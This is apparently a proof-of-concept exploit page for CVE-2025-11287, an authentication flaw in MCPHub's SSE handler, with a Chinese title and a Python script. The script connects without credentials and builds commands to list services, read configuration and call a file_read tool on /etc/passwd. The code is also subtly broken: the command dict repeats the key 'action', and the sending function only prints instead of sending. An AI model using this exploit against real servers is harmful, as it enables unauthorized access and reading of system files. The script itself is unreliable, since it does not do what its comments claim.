CVE-2025-11287：samanhappy MCPHub 认证不当漏洞

# CVE-2025-11287 PoC - MCPHub Improper Authentication # Exploits missing authentication in handleSseConnection function # Affected: samanhappy MCPHub <= 0.9.10 # File: src/services/sseService.ts import requests import sseclient # Target MCPHub server with the vulnerable SSE endpoint TARGET_URL = "http://target-mcphub-host:port/sse" def exploit_sse_unauth(): """ Exploit improper authentication in MCPHub's SSE handler. The handleSseConnection function does not validate client credentials, allowing unauthenticated remote access. """ headers = { "Accept": "text/event-stream", "Cache-Control": "no-cache", "Connection": "keep-alive" } # Step 1: Establish unauthenticated SSE connection # No authentication token or API key is required response = requests.get(TARGET_URL, headers=headers, stream=True, timeout=10) if response.status_code == 200: print("[+] SSE connection established without authentication!") # Step 2: Listen for SSE events client = sseclient.SSEClient(response) for event in client.events(): print(f"[Event] {event.event}: {event.data}") # Step 3: Send unauthorized commands via the SSE channel # Example: List available MCP services send_unauthorized_command(event) else: print(f"[-] Connection failed with status: {response.status_code}") def send_unauthorized_command(event): """ Send commands through the unauthenticated SSE connection to interact with MCPHub management functions. """ # Commands that should require authentication but are accessible commands = { "action": "list_services", "action": "get_config", "action": "invoke_tool", "params": {"tool": "file_read", "path": "/etc/passwd"} } print(f"[+] Sending unauthorized command: {commands}") if __name__ == "__main__": exploit_sse_unauth()